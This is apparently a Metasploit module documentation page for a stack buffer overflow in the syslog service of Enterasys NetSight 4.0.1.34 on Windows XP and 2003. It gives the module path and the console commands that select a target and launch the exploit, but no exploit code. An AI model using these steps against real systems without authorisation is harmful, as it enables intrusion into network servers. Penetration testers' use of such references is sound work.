This module exploits a stack buffer overflow in Enterasys NetSight. The vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially crafted PRIO from a syslog message. The module has been tested successfully on Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2.
Windows
To display the available options, load the module within the Metasploit console and run the commands 'show options' or 'show advanced':
msf > use exploit/windows/misc/enterasys_netsight_syslog_bof
msf exploit(enterasys_netsight_syslog_bof) > show targets
...targets...
msf exploit(enterasys_netsight_syslog_bof) > set TARGET < target-id >
msf exploit(enterasys_netsight_syslog_bof) > show options
...show and set options...
msf exploit(enterasys_netsight_syslog_bof) > exploit
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